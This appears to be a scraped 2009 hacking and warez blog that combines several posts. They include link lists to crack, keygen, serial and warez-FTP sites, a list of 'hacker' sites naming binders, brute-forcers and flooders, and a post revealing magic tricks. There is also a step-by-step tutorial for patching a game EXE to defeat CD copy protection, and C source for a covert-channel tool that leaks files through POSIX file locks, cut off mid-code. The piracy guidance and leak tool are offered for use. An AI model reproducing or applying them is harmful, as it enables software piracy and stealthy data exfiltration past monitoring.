http://www.akribo-search.de.vu/ porn pop ups
http://allseek.info/ too many pop ups
http://www.search-explorer.net/installer.php
http://www.toflo.de/htm/link.htm
http://www.ixquick.com/
http://keygen.freeweb.hu/index/m.html
-------------------------

If the search engines dont give you the crack try various crack and serial sites. There are 1000s but the ones here are the ones you should try first.

Cracks and Serials:

http://www.eminence.gulli.com/
http://forum.royaume.com/
http://key.winzheng.com/
http://www.exelenz.fr.st/
http://antares666.da.ru/
http://www.deamoncrack.fr.st/
http://hide.at/apizza
http://www.n-genworld.com/
http://www.reptilecracker.com/
http://kickme.to/desperate
http://mp2k.da.ru/
http://kickme.to/tsrh
http://kickme.to/pc2k/
http://kickme.to/dbc
http://zor.org/tnone/
http://dbz.6x.to/
http://evc.to/cracks/
http://www.ego1st.cjb.net/
http://kickme.to/tnt
http://meubrfree.com.br/~trwhome/
http://zor.org/vb4free/
http://kickme.to/winblowz98/
http://www.siker.org/flash/en_main.htm
http://flowers.pp.ru/rcz/a1.htm
http://www.xsex.dk/
http://x-filez.harem2.pl/index_y.htm
http://netchat.3322.net/service/register/zcma.htm

--------------------------

Shareware sites to get the apps for the cracks:

http://www.bestdownload.com/
http://32bit.bhs.com/
http://download.com.com/2001-20-0.html
http://www.majorgeeks.com/
http://www.passtheshareware.com/
http://www.tucows.com/
http://www.webattack.com/

----------------------------

The Russians leave most of their apps out in the open.
These sites also have quite a few apps.[/]

Russian app sites:

http://tts.lt/~madigor/soft.htm - working
http://wcc.hut.ru/ - apps cracks music etc
http://zzz.net.ru/games.php
http://www.netnight.r2.ru/index.php
http://megido97.wohost.ru/ - forum
http://nerjinsoft.by.ru/softerra.htm - direct links

-----------------------------

[i]Use these links to find particular files if you know the exact name.
You can find older versions of programs that may have been removed from sites and files on http://ftp..and/ lots more.

File Search Engines:

http://www.oth.net/ - the best free file searcher left
http://archie.emnet.co.uk/form.html - good for anonymous ftps searching
http://www.filesearch.ru/ good if you know how to search
http://reliz.ru/ FTP indexer is THE BEST searcher but is now paid
http://www.cs.ut.ee/nuuskur/english.html Use this to find normally unindexed Estonian ftps
http://ftpsearch.laplink.com/ - has a large but less quality index
http://ftpsearch.tomsk.net/ - another one
http://ftpfind.voila.fr/ - a

---------------------------

New french searcher:

These sites list links to ftps containing lots of software. The links don last very long as the files get deleted or the login info changes.

FTP Lists:

http://tr.dn.ua:8101/spravoch/warez.htm
Large list but you have to search a bit to find working ones
http://members.worldonline.ch/croc/main.htm
Again you have to look around to find stuff that works but it is there.
http://0dayftp.da.ru/
I dont like this one much
http://www.trackerfrog.com/

---------------------------

This is a reasonable one.
Worth a visit if you use ftps.

FTP:

http://membres.lycos.fr/brunosforums/upload/index.php?s
http://bedusa.fr.st/ ftp sharing forum
http://www.dream-ftp.fr.st/
http://www.dfbteam.t2u.com/

-------------------------------

Games cheats/no-cds:

http://go.to/gamefix
http://www.megagames.com/
http://www.zone-patchs.fr.st/
http://gamecopyworld.com/
http://members.fortunecity.de/siedler7/

--------------------------

Useful:

http://www.filemirrors.com/ Get mirrors for your Flashget/Getright downloads
http://www.ilor.com/ new search engine with lots of options
http://www.picsearch.com/ Best bet for finding pictures
http://www1.metabear.ru:8080/ A good metasearcher
http://www.firewall-net.com/ Help to set up and dedug firewalls
http://www.winguides.com/registry/ Registry help
http://www.dll-files.com/dllindex/index.shtml dll store
http://www.dllstorage.com.ua/index.html
http://protools.cjb.net/ Tools for programmers
http://filext.com/index.htm Find out what any extension means
http://www.bootdisk.com/ Obtain bootdisks for windows dos etc.
http://www.wimsbios.com/
http://accs-net.com/hosts/

-----------------------------
Sample mp3/wav files for music apps like E-Jay and Fruityloops
http://www.beatmode.com/free-fm7-loops/index.html
http://www.beatmode.com/atmospheric-samples/index.html
http://www.beatmode.com/free-loops-2/index.html
http://www.phatdrumloops.com/old_site/
http://www.dynamicforce.freeserve.co.uk/download.htm
http://mourningafter.net/sizers/roland_samples.htm
http://www.wyze.com/sampleshack/sampleshack.html
http://www.mp4music.co.uk/mp3/mp3.htm
http://www.samplez.de/index.php?active=home
http://www.freesamples.de/
http://www.e-drummer.net///freeloops.html
http://www.analoguesamples.com/

-----------------------------

Graphics and Web:

http://www.flash8.net/index_soft.asp
http://www.audionet1.com/ Dreamweaver Extensions

-----------------------------

CD-Burning:

http://www.cyrus.troy.btinternet.co.uk/index.htm Step by step help on all major burner apps
http://www.cdrdownloads.ic24.net/ CD writing help forum
http://dvdworld.fr.st/ Tutorials on DVD ripping, audio cd ripping
http://perso.wanadoo.fr/doubleyou/index.htm Download copy protections for your cds
http://www.daemon-tools.com/main.htm Daemon Toolshome. Use if you dont have a writer for isos

--------------------------

Burner apps download sites:

http://www.byao.com/
http://kickme.to/cdr-dl
http://kickme.to/writetools

------------------------------

CD Covers:

http://www.cdcovers.cc/
http://www.planetinside.de/
http://www.cinecover.fr.st/
http://www.coveruniverse.com/
http://www.absolutecover.com/
http://www.thecovin.com/
http://www.cdbond.com/
http://come.to/coverall

------------------------------

DVD Ripping/Backup:

http://www.doom9.org/ A site that is dedicated to archiving DVD
http://www.dvdripguides.com/ Backup those precious DVDs
http://orbita.starmedia.com/~stormangel/quality.html Quality standards for ripped movies
http://www.vcdquality.com/ Want to check what the new DivX you're downloading looks like
http://us.imdb.com/ Internet Movie Database geovisit();

Hackers favourite websites

2009-08-26T07:46:00.001-07:00

Hackers favourite websites

This thread needs ur contribution
please add in the cool sites which u know

lemme start
http://www.smokeronline.de/
-- http://g_b_m_x.tripod.com/
-- http://www.2600.com/
-- http://xisp.org/xfactor.html
-- http://www.xisp.org/downloads.html
-- http://www.assasin-germany.de/
-- http://www.megasecurity.org/Binders.html
-- http://biw.rult.at/
-- http://www.hoobie.net/brutus/
-- http://msgs.securepoint.com/bugtraq/
-- http://www.c0rtex.de/links.php
-- http://hem.passagen.se/btener/?noframe
-- http://www.computec.ch/download.php#cat3
-- http://www.mut.ac.th/~b1121625/crack.html
-- http://www.blackhat.be/
-- http://www.blackhat.be/cst/
-- http://www.phreak.org/html/main.shtml
-- http://www.diquip.gq.nu/flooders.html
-- http://askmatador.com/ep/crews.htm
-- http://www.hirosh.tk/
-- http://www.euyulio.org/
-- http://www.fategate.de/Start.html
-- http://www.networkpunk.com/?q=files&PHPSESSID=e0dc51a110811679c2b540291bd35089
-- http://www.snapfiles.com/freeware/freeware.html
-- http://lists.netsys.com/mailman/listinfo/full-disclosure
-- http://www.glocksoft.com/index.htm
http://www.mess.be/ / / mess up wid msn messenger
www.hackthissite.org
http://www.filehippo.com/ // all file downloads
http://www.subnetmask.info/ // network checking site
http://pickit.uni.cc/windows_1_0_3.php // windows First release ever installation video
www.Zamzar.com // convert file formats FREE

Free Stuff Best

2009-08-26T07:44:00.000-07:00

Link to All Free Stuff Best Collection

ALL Free Things you'll ever need ! Free Subdomains
http://www.freeurl.com/
http://www.jwdx.com/
http://www.cjb.net/
http://www.dot.tk/
http://www.v3.com/
http://www.hotredirect.com/
http://www.internetjump.com/
http://www.zdos.com/
http://www.webalias.com/
http://www.reduce.to/
http://www.warping.to/
http://www.gosurfto.com/
http://www.shorturl.com/
http://www.has.it/
http://www.1fx.net/
http://www.get-2.com/
http://www.myredirector.com/
http://www.tr.cx/
http://www.kickme.to/
http://www.dk3.com/
http://www.suite.net/url.htm
http://www.ontheweb.nu/
http://www.globalredirect.com/
http://www.linkworld.to/
http://www.rename.net/
http://www.webmask.com/
http://www.guruguru.to/
http://www.6x.to/
http://www.b4.to/
http://www.b6.to/
http://www.h3.to/
http://www.thx.to/
http://www.tsx.to/
http://www.tsx.org/
http://www.2fbi.de/
http://www.ubb.cc/
http://www.idz.net/
http://zwap.to/
http://www.xsub.ws/
http://www.elite.to/
http://www.2fbi.de/
http://www.b6.to/
http://www.quickurl.com/
http://www.iidd.org/
http://www.ne1.net/

Free Domains
http://www.dot.tk/ (redirection)
http://www.uni.cc/ (redirection, webhosting, OR domain)
http://www.acidmist.com/
http://www.freedomain.co.nr/ (the best 0 ads)

Co-Brands
http://megagiga.com/
http://www.muttle.com/

Free FileStorage
http://java.isavvix.com/freeback.jsp
http://www.sharemation.com/
http://www.storagevault.net/
http://www.tiomeg.com/
http://briefcase.yahoo.com/

Free Pop3Mails
http://quickemail.de/
http://gmx.net/
http://kgb.cz/
http://hotmail.com/
http://uyeler.mynet.com/
http://eng.mail.port.ru/
http://passagen.se/
http://mail.urbia.de/
http://www.hotpop.com/
http://webmail.berlin.de/
http://club.lemonde.fr/
http://mail.lycos.co.uk/
http://topsurf.com/
http://uk2.net/
http://liquid2k.com/
http://newmail.net/
http://mail.arabia.com/
http://home.se/
http://epost.portalen.no/
http://runbox.com/
http://mail.tut.by/

Free Email for your site
http://bigmailbox.com/
http://zzn.com/
http://i-p.com/

Free Counters/Stats for ur site
http://www.countercentral.com/
http://www.sitemeter.com/
http://www.addfreestats.com/
http://www.bravenet.com/
http://www.admo.net/
http://www.thecounter.com/
http://www.extreme-dm.com/
http://www.stats4all.com/
http://www.realtracker.com/
http://www.dataplain.com/data.cgi/company/0/index
http://www.okcounter.com/
http://www.cgi2you.com/

Free Web Hosts
http://www.fileserv.sytes.net/
http://www.web1000.com/
http://www.liquid2k.com/
http://www.host.sk/ (Russian)
http://www.cfm-resources.com/
http://www.gizba.com/
http://www.websamba.com/
http://www.250free.com/
http://www.geocities.com/
http://www.angelfire.com/
http://www.tripod.com/
http://www.worldzone.net/
http://www.topcities.com/
http://www.brinkster.com/
http://www.9cy.com/
http://www.hostultra.com/
http://www.topcities.com/
http://www.spaceports.com/
http://www.tripod.co.uk/
http://www.hut.ru/ (Russian)
http://www.netfirms.com/
http://free.prohosting.com/
http://www.7host.com/
http://www.domaindlx.com/
http://www.websamba.com/
http://www.amzweb.net/
http://www.portland.co.uk/
http://www.cfm-resources.com/
http://members.freewebs.com/
http://www.phathost.com/
http://www.deluxnetwork.com/pgs/plans.php
http://www.chez.tiscali.fr/ (French)
http://www.tripod.spray.se/ (Swedish)
http://www.coolfreepages.com/
http://www.wolfserver.net/members/webhosting.asp
http://www.ish.biz/
http://www.breezeland.com/
http://www.polarhome.com/
http://www.freehosting.rbftpnetworks.com/
http://www.fateback.com/

David Blaine Magic Hacks

2009-08-26T07:33:00.001-07:00

David Blaine Magic Hacks

I dont believe m uploading this here
anyways this ripps the secrets behind the magical magician
have a look, check the attachments below

However i personally salute this great artist in true spirit.

David Blaine's Secrets Revealed

1. Voodoo Ash

Effect: A name is written on a piece of paper on a notepad by the spectator, the paper is torn off unseen by the magician, crumpled up and placed in an ashtray. It is then set alight.

The ashes are then rubbed on the magicians arm and the name of the person written on the paper mysteriously appears.

Preparation: You will need a small notepad, pen, ashtray, lighter and a small piece of soap or wax.
Method: The spectator is asked to write the name of a person or favourite anything of theirs on a notepad.

Then to tear of the sheet of notepaper, crumple it up and place it in the ashtray, where the magician then sets the paper alight.

The magician takes the notepad of the spectator and should be able to see the imprint of the name written on the paper above in the next sheet of the notepad.

Looking at the pad should not be made obvious and some misdirection carried out while he carefully takes the small piece of wax or soap and writes the name on the imprint on his arm or hand (this action should not be visible to anyone ).

The magician can then take some ash from the ashtray and rub it over the wax where it will stick and create an impression of the spectators word to their amazement.
This is a great trick but depends on the magician creating an atmosphere with an entertaining routine and patter about black magic to enhance the effect and create misdirection to allow him time to pull off the trick.

2. M&Ms Torn and Restored Magic Trick

Trick Effect And Routine: Tear a corner from a bag of M&Ms. Pour a few M&Ms into your hand. Then reseal the bag by magically melting the corner back onto the bag.

Magic Trick Preparation: Place a few M&Ms into your" thumb tip"( This is a useful gimmick which can be purchased cheaply from most good magic shops) .You will also need to cut a corner off a different bag of M&Ms.You can place this in your thumb tip or just conceal it behind the bag. This trick is easier to perform if you sharply crease the corner on the bag that you are supposed to rip.

Method: After you show the bag of M&Ms, discreetly slip the plastic thumb tip off your thumb and conceal it behind the bag in your hand (opening facing the corner to be ripped). Remove the extra corner from the thumb tip. Fold the creased corner towards you as you act out the magical illusion of tearing the corner. Pour out the M&Ms from the thumb tip. Secretly replace the extra corner inside the thumb tip as you unfold the creased corner. Use a rubbing motion with your forefinger and thumb to give the impression that you are melting the corner back on the bag.

Slip the thumb tip back on your thumb and your done. Hand out the bag for examination! The patter is up to you, but you can tell a story of a candy crook who never gets caught or use your imagination to come up with some other interesting story with a sweet ending.

3. Coffee To Coins David Blaine Style Trick

Set up: Get one of those coffee machine dispensed cups made of waxed paper and preferably with a pattern on the outside. Remove the bottom of the cup about an inch up from the bottom with a modelling knife or scissors and then place the cup back together by gently sliding the top half of the cup into the base using a slight twisting action if needed. Stack the cup three quarters full with coins.

Pack the coins in tightly and then pour in a little cold coffee, enough to cover the coins completely.

Coffee works best because it's so dark and will hide the coins. The cup should now look like a normal cup of coffee and is now ready to present to an audience.

Performance: Comment on how the patterns on the side of the cup are magic symbols.

Holding the top half of the cup with one hand, gently push up the bottom half of the cup with a slight screwing action with your other hand, then shake the cup.

As the coins “unsettle” the coffee will spill between the cracks and the coins appear.

This trick can be done with any cup of the waxed paper type that are usually found in vending machines. Be careful not to use hot coffee. Take care when using the modelling knife as it is sharp, even better, if your a kid, get an adult to cut it for you.

4. Cigarette Through Coin Magic Trick

David Blaine again used this impressive money trick where he pushed a cigarette through a quarter.

This trick uses a very clever gimmicked coin where the middle of the coin, temporarily opens to let the cigarette through and later closes so that the hole is virtually invisible to the spectator.

This coin is available through good magic suppliers and is a great addition to any magicians collection.

5. Coin Vanish

David Blaine was seen in his TV special to visibly vanish a coin that was on a spectators outstreched palm, without touching the spectators palm and by waving his hands above the spectators palm.

This looks very impressive and is performed by using a gimmick called The Raven which is one of the most useful and worthwhile purchases for anyone interested in Street Magic.

6. Fruit Loops Pop Up Card Trick

Performance:

Incorporated into David Blaine's "Ambitious Card" routine. A signed card is placed into the centre of the deck - with a snap of the fingers the card returns to the top.

The card is again placed into the centre of the deck, another snap of the fingers and once more the card returns to the top.

The magician now takes the end of the face-up signed card and proceeds to bend it almost double, he turns the bent card face down, cuts off the bottom half of the deck and holds the deck at eye level where the bent card can be clearly seen on top. Still holding the cards at eye level the magician places the cut portion on top of the bent card, sandwiching it at the centre.

The magician holds his right hand above the cards, a snap of the fingers and the bent card passes up through the deck and pops up on the top, it is displayed and seen to be the signed card !

Method:

Fan the deck face-up and have your volunteer select a card by touching it.

As you close the fan, cut the deck one card below the chosen card and take that portion to the top of the pack. Pack is still face up at this point.

Turn the deck over and Double Lift the top two cards displaying the chosen card. Have the chosen card signed on the face. Now return the "double lifted" card(s) face down on top of the pack.

Openly lift off the top card and have the volunteer cut off half of the deck - place the spectators chosen card (really the double lifted card) onto the bottom portion of the deck and ask the volunteer to place his half of the cut deck on top.

Ask the volunteer to snap his fingers - turnover the top card to show that the signed card has returned to the top !

Place the signed card to one side.

You now have two problems.

One: You must lose the card in the centre again.

Two: At the same time you must control the chosen card to a position second from the top (in order to perform the Pop Up Card effect).

Both problems can be solved with one move.....

Hold the deck in the dealing position with a little finger break under the top card. The deck is then held (left hand) with the deck almost at right angles to the floor, in this position use the left thumb to split the deck halfway saying "That looks like about halfway doesn't it" ? The break held by the little finger should be hidden by the base of the thumb.

Pick up the signed card and bring it in from the rear, giving the appearance of returning the card at the halfway split - it is actually returned into the break held by the little finger - beneath the top card. (This move requires a lot of practice in front of a mirror.)

Once the card has been returned, the hands/cards are brought back to a level position.

Have the volunteer snap their fingers and with some flair and a riffle, double lift the signed card and place it out-jogged (face-up) on top of the deck.

Take the outer end of the face up (double lifted) signed card with your right hand and bend it almost in half, then turn the (double lifted) bent signed card face down (leaving it bent).

The right hand now cuts the deck into two (Biddle grip) and the left thumb openly slips off the top bent card onto the bottom portion of the deck as the right hand (holding the top portion)is withdrawn to the right.

The right index finger must keep pressure on the bent signed card which is on top of the half that is being held in the right hand.

Hold the left hand portion at eye level where the bent card can be clearly seen. Still holding the cards at eye level, place the right hand portion of cards on top of the bottom half, sandwiching the bent card in the centre.

The left hand thumb and index finger must now take control of the deck and hold down the bent signed card on top of the pack, ensuring that it doesn't pop up prematurely.

The magician holds his right index finger above the cards and asks the volunteer to snap his fingers, at that moment the magician releases the pressure on the top card and up it Pops !!

Turn the card over, to reveal, once again, the signed card. Click Here For Street Magic The Things You Will Need

This trick is good in its basic form but can really be hyped with some good patter and performance from you.

7. Coin Bitten And Restored Coin Trick

David Blaine performed this extremely effective trick where a coin was bitten and a piece torn off.

The coin was restored when the missing piece was seemingly spat out at it.

This trick was used using a very cleverly engineered coin which is available from good magic suppliers and is switched for the spectators coin.

You can do your own version of the trick by making your own trick coin by looking at the coin trick section of this site. Otherwise there is the professional version available which can be viewed by clicking the above link.

Crack CD Protection

2009-08-26T07:30:00.001-07:00

Crack CD Protection
Lemme share how to finish the RiPPing by cracking
the protection. This will help you w/ the most basic system of protection,
called C- dilla, that is the most usual one…

The programs we will use are 2: first, and decompiler – the files we will
work with are in ExE format, and we need a program that will HeX them (transfer
to 16 base, hexa, form) and locate the orders given in the code, then we will
find the line we need and change it to remove the protection with... – the
second program: we need a program that will *edit* the files, and fetch the
right line number we got using the first program… all those action are easly
done w/ the programs: Win32Dasm (the disassembler - decompiler program, added in
the dir [root/Win32Dasm]), and Hiew (the editing program added in the dir
[root/Hiew]). The programs are added to the tutorial, because I’m not so sure
you can find then on a stable location on the net, in the dir [root/programs].
Chapter II: The easy protection.

Okay! To save you from reading this entire tutorial for nothing you’re not going
to use I made this chapter, because there is a good chance you won’t be needing
it! Some games comes w/ protection as a files in the [/Setup] dir (or root
dir) called: [00000001.TMP], [CLCD16.DLL], [CLCD32.DLL] and most important
[CLOKSPL.EXE]... if you see any of them delete it and the protection should
disappear (Important! delete them after making a mirror of the game on your HD,
using the info in the next chapter) … if you are still getting an error message
just keep on reading.

Chapter III: Finding the right file – and the right error.
The files we are going to work w/ will be the main ExE of the game: you will
find it on the CD, in a dir called [/Setup] or [/data], but the easy way to find
it is just installing the game, and the ExE that starts the game – will be the
ExE we need! ... once you’ve got it make some room on your HD, because we are
going to copy the hole CD to it… before you do that: some games have am option,
when Installing, to Install the full game to the CD (but still needing it to
play), use it if possible, The files you need to copy are all the game files,
in some games it is the root dir of the CD, in others it is the [root/data] dir…
the worst case is when the game is inside a CAB file, then you have to use a CAB
extractor (WinZip 8 should do the job), and if it is protected a different
program that can compile CAB format (I’ll try to put it on the tutorial as
well). Once you’ve done all that – press the ExE, and if the game opens close it
and exit the CD, then press again- you will get an error window! … usually the
line goes like: “Error, please enter CD to run game” or “CD error” or “Error
reading CD-ROM” .. what ever error you get – write it down and remember it, we
are about to look for it in the ExE code, and change it!
Chapter IV: Finding the right line number.

Open the first program - Win32Dasm, by unzipping it and clicking on
[/w32dsm89.exe], now we have to load the file we know is the main ExE of the
game, so click on “Disassembler“ in the main menu, then “Open File to
Disassemble...” (Important! Make sure you got 50-100MB free on your HD) before
then pick the file from the clone game dir you made in your HD (Important! make
a backup of the ExE) … after you’ve success fully w8ed while the program
disassembled the file, you will see *a lot * of gibberish… don’t worry! You
don’t have to understand what is says (I don’t, and I’m not so sure ne1 does…
except the programs of course) … (Important! If you can’t read and the font
shows only numbers and bizarre letters, click on “Disassembler” in main menu,
then “Font…” then “select Font” then pick Arial or something in English) … now
you have to find the exact line number out of the 2 million in the file that has
the error message in it, do that by clicking the “String Data references”
button, from the buttons menu (under the main menu) – the second one from the
right (-your right)… now you get a list of all the lines in the ExE that refers
to actions, and you have narrowed the lines from 2 million – to 2 thousand… to
find the error message click the first letter it started w/ (for example, if the
message was “Error reading CD-ROM” click E) then search ‘till you find the
error line you are looking for! … once you’ve found it… it will mark the title,
pick the first line, and it should change color to green (that means the line
can be edited and is important)… to be sure you have taken the right line:

if
there is a line like:
“:0044XBCK EB08 ….. (lots of spaces) …. Jmp 0044EBD8” or:
“:0044XBCK EB08 ….. (lots of spaces) …. Call 0044EBD8” or:
“:0044XBCK EB08 ….. (lots of spaces) …. Push 0044EBD8”

you at the right line, it says the command is a function, effected by the user,
and probably the protection we are looking for (notice the words: Jmp = Jamp,
Call = Call, Push = Push)… now that we got the right line we have to find her
number! That is done by looking at the bottom of the program window and in the
line, that should look similar to this one:

“Line:*** Pg *** of *** Code Data @:0045821 @Offset 00045821h in file:***.exe“
notic the number that comes after the word „Offet“ in this line: 00045821h that
is the line number! But notice the letter „h“ at the end of it – you don’t need
it, and don’t forget to remove it from the number, now – the only thing left to
do is changing the line and removing the protection!
Chapter V: Editing the line.

After writing down the line number you can minimize Win32Dasm, because for now
we have finished using it. Open the second program: Hiew (added in the
tutorial), this is an editor that will work bad for searching the right line,
but will do if you know the line number and just wanna change it…
Open again the same game ExE you have processed in Win32Dasm. When you enter you
see a lot of gibberish, that’s the code, and you need to change it to the
decoded language… do that by pressing the F4 key and then pick the option
“Decode“ .. heh! Alot better now... now click F5 key, to search the right line,
you will see the line numbers at the left end of the screen is gray, enter the
line number you got from Win32Dasm and it will jump you to the right loction in
the file... now, this is the difficult part, not hard to do – but hard to
explain, near the line number (just at the right) you will see the command in
HeX form, it should be something like BC1BB3D2D1 that is in HeX code (base 16)
which means a number (=byte) is represented by 2 letters/number, so that the
group (BC1BB3D2D1) is made of 5 bytes: BC – 1B – B3 – D2 – D1 ... (10 numbers =
5 bytes, 8 numbers = 4 bytes and so on...), we are about to change evrey byte
from D1 or BC to 90 this is done by pressing the key F3 (activates Editing
option) and pressing, for every byte, the number 90 (90 is the noop number, that
will disable the action)... and in our case, the command will change from
BC1BB3D2D1 to 9090909090 ... once it is done click the key F10 to save the
offset, and exit.

Chapter VI: Testing.
Now that you have an ExE w/out the error line, activate it from the same clone
dir of the game you made to test it, if its working – congratulation! You have
just cracked a CD protection! … if you are getting another error message redo
the same steps you have do w/ the first error message (in chapters 3-5) to
change it as well (Important! Do it on the same ExE you have edited, and backup
this one as well) and then test it again. You might be needed to do it several
number of times, until you are getting no error message and the game runs!

Chapter VII: Quick order list.
- Start without Cd then look at the error message and write it down.
- Search the msg in Win32Dasm referance and copy nmber w/out the H at the end!.
- Open Hiew, F4 to Decode, F5 to seach the line, and change the command – 90 for
every 1 byte.
- F10 to save and then get out, don’t forget to test!

posix file locks

2009-08-26T07:23:00.000-07:00

Stenoghrapied file copy using posix file locks

I wish to share one of the working examples
the article and example below is sourced from

//www.networkpenetration.com
//File Trickery - Stenoghrapied file copy using posix file locks.
//Ste Jones root@networkpenetration.com
//
//compile: gcc filetrickery.c -Wall -o filetrickery
//
//Tested on Linux Mandrake 8.0
//Tested over NFS between two mandrake 8 machines
//
//To Do
//-----
//1. spoof args
//2. remove trailing 0's by sending size at start of transfer
//3. randomize order
//4. add spoofed locks

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define VER "0.91"

#define TIMEOUT 3 //after timeout save and close the obtained file
#define INITTIMEOUT 30 //time for client to wait for server to start
#define SLEEP 1 //used to lower CPU usage
#define VERBOSE 1//0: less info displayed, 1: loads of info displayed, 2: debug mode

static struct flock lockit, unlockit, wrlockit;
int makefile(void);
void how2use(char *progname);
void server(void);
void client(void);
int openfile(void);
int filesize(void);
void displaybits(char );
struct fname{
char *files;
};

struct files {
char *sync1;
char *sync2;
struct fname fn[32];
};

char *sfile;
char *cfile;

struct files f[1]; //ugh why does 0 not work?
int main(int argc, char *argv[])
{
int c;

sfile = NULL;
cfile = NULL;

lockit.l_type = F_RDLCK;
lockit.l_whence = SEEK_SET;
lockit.l_start = 0;
lockit.l_len = 0;

unlockit.l_type = F_UNLCK;
unlockit.l_whence = SEEK_SET;
unlockit.l_start = 0;
unlockit.l_len = 0;

wrlockit.l_type = F_WRLCK;
wrlockit.l_whence = SEEK_SET;
wrlockit.l_start = 0;
wrlockit.l_len = 0;

printf("\nFile Trickery " VER " from www.networkpenetration.com\n");
printf("--------------------------------------------------\n");
opterr = 0;

while ((c = getopt(argc, argv, "c:s:")) != -1){
switch(c){
case 'c': cfile = optarg;
break;

case 's': sfile = optarg;
break;

default: how2use(argv[0]);
break;
}
}
if (sfile && cfile) {
printf("Select either (c)lient or (s)erver from the command line\n");
exit(1);
}

if(argc != 37){
how2use(argv[0]);
exit(1);
}

f->sync1 = argv[3];
f->sync2 = argv[4];
c = 0;
for(c=0; c<32; c++){
f->fn[c].files = argv[c+5];
}
if (cfile) {
printf("starting client\n");
client();
exit(1);
}

if (sfile) {
printf("starting server\n");
server();
exit(1);
}

exit(1);
}

//(set values, flagA1, check flagB1, set values, flagA0, check flagB0)....
void server(void)
{
unsigned char buf[0];
FILE *fd;
register int bytecount, bitcount, lockcount, filecount, p,q;
int lockfd[32];
size_t count;
int syncfd1;
register int syncfd2;
struct flock test;
register int lock;
int fsize;

fsize = filesize();
printf("Leaking: %s Size: %d bytes\n", sfile, fsize);

fd = fopen(sfile, "r");
if (!fd){
printf("Doh.... %s can't be opened\n", sfile);
exit(1);
}
bytecount = 0;
memset(lockfd, '\0', sizeof(lockfd));
count = 1;
lock = 0; //alternate 0 1 for each pass to ensure sync

while (count !=0){
if(!lock) lock = 1; //lock starts on 1
else lock = 0;

filecount = 0;
lockcount = 0;

for(q=0; q<4 || count == 0; q++){
memset(buf, '\0', sizeof(buf));
count = fread(buf, 1, 1,fd);
if (count == 0) {
if(ferror(fd) !=0){
printf("File Error\n");
exit(0);
}
if(feof(fd) !=0){
count = 0;
break;
}
}

for(bitcount=1; bitcount<=128; bitcount=bitcount*2){
if (bitcount &buf[0]){
if(VERBOSE) printf("byte %d bit:%d 1 ",bytecount,bitcount);
if((lockfd[lockcount] = open(f->fn[filecount].files, O_WRONLY)) == -1) {
printf("\nDoh.... %s can't be opened as %s\n", f->fn[filecount].files, strerror(errno));
exit(1);
}

if(fcntl(lockfd[lockcount], F_SETLK, &wrlockit) == -1){
printf("\nDoh.... Lock can't be set on %s as %s\n", f->fn[filecount].files, strerror(errno));
exit(1);
}
else {
if(VERBOSE) printf("locked file %s\n", f->fn[filecount].files);
}
lockcount++;
}
else {
if(VERBOSE) printf("byte %d bit:%d 0\n",bytecount,bitcount);
}
filecount++;
}
bytecount++;
}

if(lock) {
if((syncfd1 = open(f->sync1, O_WRONLY)) == -1) {
printf("\nDoh.... %s can't be opened as %s\n", f->sync1, strerror(errno));
exit(1);
}
if(fcntl(syncfd1, F_SETLK, &wrlockit) == -1){
printf("\nDoh.... Lock can't be set on %s as %s\n", f->sync1, strerror(errno));
exit(1);
}

else {
printf("locked %s.... waiting for client to read\n", f->sync1);
goto checkit;
}
}

if(!lock){
if(fcntl(syncfd1, F_SETLK, &unlockit) == -1){
printf("\nDoh.... Cant unlock %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
else {
printf("unlocked %s.... waiting for client to read\n", f->sync1);
if(close(syncfd1) == -1){
printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
goto checkit;
}
}

checkit:
if((syncfd2 = open(f->sync2, O_RDONLY)) == -1) {
printf("\nDoh.... %s can't be opened as %s\n", f->sync2, strerror(errno));
exit(1);
}

test.l_type = F_RDLCK;
test.l_whence = SEEK_SET;
test.l_start = 0;
test.l_len = 0;

if(lock){
if(fcntl(syncfd2, F_GETLK, &test) == -1){
printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->sync2, strerror(errno));
exit(1);
}

if(test.l_type == F_UNLCK){
//not locked
if(close(syncfd2) == -1){
printf("Doh.... close error on %s as %s\n",f->sync2, strerror(errno));
exit(1);
}
if(SLEEP) sleep(SLEEP);
goto checkit;
}

else {
//locked
if(VERBOSE) printf("%s is locked.... setting file locks\n",f->sync2);
if(VERBOSE == 2) printf("pid of owner: %d\n", test.l_pid);
if(close(syncfd2) == -1){
printf("Doh.... close error on %s as %s\n",f->sync2, strerror(errno));
exit(1);
}

goto next;
}
}// end of lock

if(!lock){
if(fcntl(syncfd2, F_GETLK, &test) == -1){
printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->sync2, strerror(errno));
exit(1);
}

if(test.l_type == F_UNLCK){
printf("%s is not locked.... setting file locks\n", f->sync2);//continue
if(close(syncfd2) == -1){
printf("Doh.... close error on %s as %s\n", f->sync2, strerror(errno));
exit(1);
}
goto next;
}
else {
if(close(syncfd2) == -1){
printf("Doh.... close error on %s as %s\n",f->sync2, strerror(errno));
exit(1);
}
if(SLEEP) sleep(SLEEP);
goto checkit;
//wait
}
}

next:
for(p=0; pif(fcntl(lockfd[p], F_UNLCK, &unlockit) == -1){
printf("Doh.... Can't unlock fd: %d as %s\n", p, strerror(errno));
exit(1);
}
else {
if(close(lockfd[p]) == -1){
printf("close error on lockfd[%d] as %s\n",p, strerror(errno));
exit(1);
}
}
}
if(VERBOSE == 2)printf("Unlocked all %d fd's\n", lockcount);
if(count == 0) {
break;
}
}

printf("Finished sending file\n");
if(fclose(fd) !=0 ){
printf("Fclose error on leaked file as %s\n", strerror(errno));
exit(1);
}
//send end of file
exit(1);
}

//(check flagA1, read val, set flagB1, check flagA0, read val, flagB0).... check flagA1, read val, set flagB1
void client(void)
{
FILE *fdout;
int syncfd2, syncfd1, flag, init;
//unsigned long filesize;
struct flock test;
register int lock, bytecount, byte, a, timea, timeb, fd, i, bit;
size_t count;
char fillme[4];

init = 0;
printf("Obtaining: %s\n", cfile);
if((fdout = fopen(cfile, "w")) == NULL){
printf("Doh.... %s can't be created as %s\n", cfile, strerror(errno));
exit(1);
}
printf("Waiting for server to start....\n");
bytecount = 0;
lock = 1;
timea = time(0);
goto check;

check:

test.l_type = F_RDLCK;
test.l_whence = SEEK_SET;
test.l_start = 0;
test.l_len = 0;
timeb = time(0);

if(SLEEP) sleep(SLEEP);
if(flag){
if(timeb > (timea + TIMEOUT)){
//close locks
printf("Time exceeded.... closed and saved %s\n", cfile);
fflush(fdout);
fclose(fdout);
//run remove 0's
exit(1);
}
}

if(!flag){
